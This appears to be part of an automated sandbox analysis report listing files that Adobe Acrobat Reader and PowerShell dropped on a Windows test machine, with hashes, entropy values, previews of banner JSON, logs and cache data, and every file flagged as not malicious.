Preview:	{"analyticsData":{"responseGUID":"cecf1f67-7fdd-4daf-8ed8-c33f8afb6bb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746040831,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.274299990196998
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzQmWygHGnZiQ0YwR2oAvJf+dPeUkwRe9:YvXKXtvcVNG28Ukee9
MD5:	89004BE03BCFCE49F7793C29C5866FB7
SHA1:	D92E685DF3B69342B51FE0EA51DB9BDAE1036E6A
SHA-256:	72FA6CD78035E592671BC6D3F2A5E4A3A4CEA6AEA74ED43BE1E88BA8C60A920B
SHA-512:	6ABE22B918D2E5F00A098B4AE1C16B039BB9A0B62B0DEE8C6F21C8C5B2543C8DB522F747AB789E109FB8B15305FDFA98884A05D5B3FB5B4A34B464ECF96CB736
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecf1f67-7fdd-4daf-8ed8-c33f8afb6bb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746040831,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.271787571594144
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzQmWygHGnZiQ0YwR2oAvJfbPtdPeUkwRe9:YvXKXtvcVNGDV8Ukee9
MD5:	1E05628319AC71731D3AA59D271632A7
SHA1:	ACE1AD62D43804F6F0F7BD5727C2732CD3C9E0B6
SHA-256:	8179742D97E6BA1B5212B47E403A73B9C4ABD49A528E915F506F784984D5A0F9
SHA-512:	C5C42908CE2AAE0CDE16054A0D90603CE8C1FB24796513DB1C39E9D5DD4182997F85DC99ACF7DFFF4AB56DE24DBDAFACB9CE69E132F47BDF10FAA108093D7047
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecf1f67-7fdd-4daf-8ed8-c33f8afb6bb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746040831,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2750049960738545
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzQmWygHGnZiQ0YwR2oAvJf21rPeUkwRe9:YvXKXtvcVNG+16Ukee9
MD5:	3207072111BBF62FD44511160D05C1EE
SHA1:	D7378AC142AC35DD5BA949838F5271768D0AF9B5
SHA-256:	8A71A046355C412FFFE5A23A58F782163D502D227CDEB1B54DB0D27F1BD781B3
SHA-512:	0FD7B7B7DE5CD3D8DF23CEDA1BEBD02C352FE47FF6E8634455183D2054ED141D83801132D565BDBB0F0C563CC12B25FD323130DE99204D6EA8D35C51AACD7E68
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecf1f67-7fdd-4daf-8ed8-c33f8afb6bb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746040831,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662678716374949
Encrypted:	false
SSDEEP:	24:Yv6X6samXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSQ:YvsBgkDMUJUAh8cvMQ
MD5:	881FAEB6D74ED149A95C636EE64DB075
SHA1:	D402C27D7F50625B2F7E491A66254F0DD019A78B
SHA-256:	3D1FA001442417EFEAEE0246BAEE86E2C8C92F9D37C273598785C185B1B380D0
SHA-512:	EB483A95349FC24F02BAB58D3C18ED4CA4C17F51318EDA6C3B61AD1B2CB89416C8B16E2F7276AC67E9603442239D097019298A2271CC0825634F09960EDCC025
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecf1f67-7fdd-4daf-8ed8-c33f8afb6bb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746040831,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.250307018301434
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzQmWygHGnZiQ0YwR2oAvJfshHHrPeUkwRe9:YvXKXtvcVNGUUUkee9
MD5:	8BE55C97F380295F2419F255337778A1
SHA1:	10B3C3174C281847113766388CEFBEFAA4AA7602
SHA-256:	D79007DF15E849664B345E2A846C578C025DFCB9F629D3F05639A74EA890561F
SHA-512:	84749A73BE19E7D21204476723F7C1517D6C3B5137721195D90A97C1EFFA8911322A0FFAB30845813B650ABFC6DBE58967BA57D900EEC060088FE61A60DCBFD8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecf1f67-7fdd-4daf-8ed8-c33f8afb6bb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746040831,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.268096726337983
Encrypted:	false
SSDEEP:	6:YEQXJ2HXzQmWygHGnZiQ0YwR2oAvJTqgFCrPeUkwRe9:YvXKXtvcVNGTq16Ukee9
MD5:	A6338DBDA1D03814061168290AE0B76F
SHA1:	C2720D17617C4E8D484F1F1F241CAD307361B0B3
SHA-256:	7621B6FDBDC4BA47FBF502940CCF33E8B8E460AD0867AE9BBE0C60F6D0BA2278
SHA-512:	417FE7F1D2AEE18FB33A7D7CDAF89376E3F80B97992D7058B0726D2CC0EF1D427CDFA19CA9F23DDCAFCBD3072BAC824915EF8CDF10FE46F4EB1C84A13027200C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cecf1f67-7fdd-4daf-8ed8-c33f8afb6bb5","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736746040831,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1222872191542885
Encrypted:	false
SSDEEP:	24:YjI7a1BayFpvwKBq3Sf74EumGWljZOej0So9RCFo2g+2LSoXCjl3g6MpvbATugu8:Yj1dB8SfqkZOAYpd+OYl3g6M1bU0U9j
MD5:	283204CCCA1F4D841F25A165F6862A21
SHA1:	276DA186E6485712058D11B0043DD447914430EC
SHA-256:	A656E7B9E854118E13096FDC70BCA45723FC1E35B4A1C03564D82DA1911AD6DC
SHA-512:	66FCD86EEED0AE3C938D0B91FE6CD8015DEED853A56D70AC8E90D9EF4CF3B9650CC6892958CAD7EC0D432F3C2FA0CA4C4AA70C84A4E4E5C33DD59A06E1183D6C
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"c0f487ff2e0000a56bb435fe705793c2","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736570045000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"94c555d52dbea5d7cd8ce34b35c5ea99","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736570045000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"0e9f5f376d8aa7fd49f41be223b3acab","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736570045000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"aac807dc4579dcd972776500acc1cb0e","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736570045000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"0ef2c9e0c0c551b7adfd261d1b1daa00","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736570045000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"46de9e8d09f0399c3d425dae2b6de60d","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.145206181678009
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursPMlRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUud+:TFl2GL7msEZXc+XcGNFlRYIX2v3k1P
MD5:	B2089A5A18F755875DD340F5C9EB8AE8
SHA1:	B76BA06B821D15606172EFD4460133BC5D38A22E
SHA-256:	2BBBA0C167F72DD9BC25A3276082FBC2756B347ED3652469519A1BCD07D90CBB
SHA-512:	F46A4FDD037D8661373FCD0D0EBE2734C014A1BB92E368740FBC608B954B5DC6C084F41E8130D23A02B4EBE01F49BD47CF5090967BEBF9254D305BC1AA167EC8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5511873774552616
Encrypted:	false
SSDEEP:	24:7+tgdMlUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxNnqLxx/C:7MguWXc+XcGNFlRYIX2vQnqVl2GL7ms8
MD5:	25F85521676BDCB9D4AFEC3FA02B9333
SHA1:	6E2F9BF85FBA28FE3B49C9D5D64F20CF7D7CC7E0
SHA-256:	B83C26CC40B69811FC122AD36D35BE0C551E65DC6B4A51EB300FFB057C0D222A
SHA-512:	D44DA3518332252D28B7B72FFCEC2F0450995B05DA1D31D2CBFED473EF2E691863E35D1EE835FF639868F5B22BB0E0F8EB75C2389FE92955893949FAF05BBA9D
Malicious:	false
Preview:	.... .c......w,...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgk5T/+582QyrFYh30RHultdW/qSYyu:6a6TZ44ADEk5aXQyyhBoiSK
MD5:	D69B0D860FF21903EF5D407EDB92E958
SHA1:	1C096FCEC95B10D611E1A8CBF7EBCC49811F1C98
SHA-256:	F076921290F3DA66C06B1D415CE90002839BDB0F9DA5596182F28359051FAE0C
SHA-512:	B95A5C9D76C181F0095FF881367676A5BFEC8E2308C5CF00F337EF103B977A5858DEC7AA838697EA7BA390C1EA4F525AF954AD491CD3388B96F34980FCF089F2
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIf66ba.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5146815864506182
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClLEwCH:Qw946cPbiOxDlbYnuRK+bll
MD5:	3FB9867A0FEC2F20A9FC0C251850DAE3
SHA1:	F7FFB758B705502018F0D1886A5A73CA897CBB3F
SHA-256:	F81E08059CE8FCDA2D8AA36EC975671B135F2706381C2628EBA70AAB718A3026
SHA-512:	3C1637AE90A6041EDF893665B90F7AC56A6CAF9C3F79FB6A81E2FE07EDEDFD4D1164A1E9A74B66153A58BC7286622F6D425EF44FF73480318231002CCA6834E6
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.3.4.:.0.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jvnfn0hf.dlb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l5stxolq.zty.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-33-58-404.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.342201244349795
Encrypted:	false
SSDEEP:	384:8BNoNNU06YXnbo0rVZm5j5fia9bkd1pPj8xzVBTnCjEn9Yd1d6X+7M7OzK4X+1FV:hVY
MD5:	2275F7E80B144416FA2F7F2A6CF03A84
SHA1:	9A2AF223B880D278766206C52C70F7AFC1CAD258
SHA-256:	5C1EBCD05D519E84555DE8CC1BDEDBA10FA7409E8C5EB4F0D421426B1482963E
SHA-512:	DFD86B53033A5156165EBC41577CA02DA478AC06BBB3F5B69E3D9082F2090731FDEC12C37DF6E807F1FF798E547E9E22BBE9E104004147EE186ECCA25E993452
Malicious:	false
Preview:	SessionID=6d3d733a-cb7d-44ce-8006-c743d02e6a7f.1736570038415 Timestamp=2025-01-10T23:33:58:415-0500 ThreadID=7796 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=6d3d733a-cb7d-44ce-8006-c743d02e6a7f.1736570038415 Timestamp=2025-01-10T23:33:58:416-0500 ThreadID=7796 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=6d3d733a-cb7d-44ce-8006-c743d02e6a7f.1736570038415 Timestamp=2025-01-10T23:33:58:416-0500 ThreadID=7796 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=6d3d733a-cb7d-44ce-8006-c743d02e6a7f.1736570038415 Timestamp=2025-01-10T23:33:58:416-0500 ThreadID=7796 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=6d3d733a-cb7d-44ce-8006-c743d02e6a7f.1736570038415 Timestamp=2025-01-10T23:33:58:416-0500 ThreadID=7796 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.399938912152136
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbE4cbSIZEcbN:V3fOCIdJDeiJZv
MD5:	244DC2AF41913B731FD57D4635B9D39C
SHA1:	65AACE79AF332386BC308C7431F0E792E156B1B8
SHA-256:	EDE090AE92BF1794AB38BB56D3B2F780743EBC2FB8E2D3223CDADB7A08546F89
SHA-512:	FE0E2A4532764E8F3D166A9B963BF709C9237B992000D6E8656BA388A6FA72B218829CB1CEAD58CDF781F88614A10F2BA8CF598D4D77E5959BC4A45C8243D993
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\5f76f647-2570-40db-81cd-21e5cca330c9.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/r5eYIGNPKWL07oBGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:T5eZGgWLxBGZn3mlind9i4ufFXpAXkru
MD5:	C64C614026F8585A9EA768163B1C5391
SHA1:	530549D8AD35C1A4155E0A58BF86D9ED7E59A3CC
SHA-256:	835DF40D792772BAD2181D3EF2F2B5FB88CC51DA39BCE31A0F2EB525DC178D91
SHA-512:	6C4AD741EB3632D2D2B34D030103EBE6AD43A72E83311411B98F6FA9F3E70AE1EE2618E427159976B81645397D23B02A7D76AEA89A0EACB05A8E52DB40640705
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\713d25ab-dfee-4ca7-8f12-e99bacd5f395.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
